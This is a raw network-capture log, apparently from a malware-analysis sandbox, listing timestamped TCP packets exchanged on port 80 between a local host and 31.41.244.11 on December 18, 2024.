Dec 18, 2024 19:08:12.698189974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.698328972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.698862076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.698878050 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.698937893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.699800014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.699893951 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.700087070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.700171947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.700742006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.701359034 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.701404095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.701706886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.701747894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.701783895 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.701823950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.702626944 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.702670097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.702764988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.702806950 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.703609943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.703625917 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.703653097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.703685045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.704595089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.704874039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.704938889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.705486059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.705533028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.705616951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.705666065 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.706531048 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.706588984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.706769943 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.706815004 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.707452059 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.707498074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.707595110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.707644939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.708400965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.708689928 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.708734989 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.709511042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.709563971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.709934950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.709980011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.710356951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.710402012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.710452080 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.710494041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.711306095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.711360931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.712249994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.712265968 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.712323904 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.712392092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.712436914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.713208914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.713267088 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.714129925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.714191914 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.714243889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.714260101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.714279890 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.714309931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.715090036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.715979099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.716042042 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.716088057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.716104031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.716130018 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.716162920 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.717071056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.718019962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.718034983 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.718067884 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.718096972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.718162060 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.718954086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.719023943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.719166994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.719208002 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.719918966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.719963074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.720226049 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.721046925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.862509966 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.862529993 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.862643957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.862673998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.862761974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.863114119 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.863171101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.863728046 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.863766909 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.864568949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.864583969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.864614010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.864645958 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.864803076 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.864876032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.864919901 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.865726948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.865770102 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.866019964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.866064072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.866669893 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.866712093 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.867101908 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.867145061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.867665052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.867707014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.867841959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.867882013 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.868714094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.868730068 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.868772984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.869641066 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.869684935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.870004892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.870044947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.870661974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.870676994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.870699883 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.870728016 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.871490955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.871633053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.871675968 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.872504950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.872895002 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.872937918 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.873480082 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.873518944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.874414921 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.874461889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.874506950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.874531031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.874552011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.874583960 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.875323057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.875365973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.875580072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.875622034 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.876334906 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.876590014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.876641035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.877332926 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.877376080 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.877796888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.877837896 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.878422976 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.878463984 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.878638029 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.878676891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.879296064 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.879340887 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.880727053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.880758047 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.880774021 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.880794048 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.880824089 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.881073952 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.881122112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.882067919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.882085085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.882105112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.882133961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.882308006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.883431911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.883447886 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.883469105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.883501053 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.884216070 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.884905100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.884964943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.885025978 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.885042906 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.885066032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.885097027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.886065006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.886209965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.886254072 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.886960030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.887012959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.887092113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.887131929 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.887840033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.887855053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.887890100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.887922049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.889067888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.889795065 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.889847994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.890029907 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.890045881 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.890067101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.890113115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.890664101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.891252041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.891298056 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.891973019 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.892024994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.892329931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.893338919 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.893356085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.893392086 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.893424034 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.893537998 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.894231081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.894295931 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.895114899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.895139933 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.895196915 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.896143913 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.896253109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.896253109 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.896308899 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.896804094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.896857023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.897000074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.897044897 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.898021936 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.898070097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.898376942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.898420095 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.899378061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.899421930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.899539948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.899580956 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.900446892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.900633097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.900677919 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.901705980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.901751041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.902060032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.902101994 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.902941942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.902985096 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.903291941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.903356075 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.903997898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.904043913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.904176950 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.904218912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.904522896 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.904589891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.904604912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.904627085 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.904628992 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.904661894 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.904689074 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.905397892 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.905438900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.905464888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.905503035 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.906320095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.906362057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.906481981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.906534910 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.907056093 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.907099009 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.907291889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.907341957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.907931089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.907975912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.908055067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.908097029 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.908973932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.909621954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.909665108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.909954071 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.909995079 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.910131931 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.910171986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.910972118 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.911011934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.911142111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.911185980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.912002087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.912048101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:12.912082911 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:12.912128925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.054392099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.054568052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.054627895 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.054687023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.054703951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.054725885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.054760933 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.055711985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.055757999 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.056286097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.056713104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.056756973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.056859016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.056900978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.057001114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.057043076 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.057863951 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.057935953 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.058317900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.058366060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.059355974 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.059402943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.059650898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.059691906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.059775114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.059799910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.059820890 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.059844971 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.060729980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.060882092 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.060942888 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.061676979 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.061722040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.061800003 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.061840057 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.062793970 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.062836885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.062948942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.062988997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.064275980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.064380884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.064436913 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.064603090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.064646959 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.064814091 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.064855099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.065499067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.065546036 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.065589905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.065632105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.066457033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.066648006 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.066693068 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.067404985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.067446947 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.067524910 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:13.067570925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:13.068402052 CET	80	49720	31.41.244.11	192.168.2.5
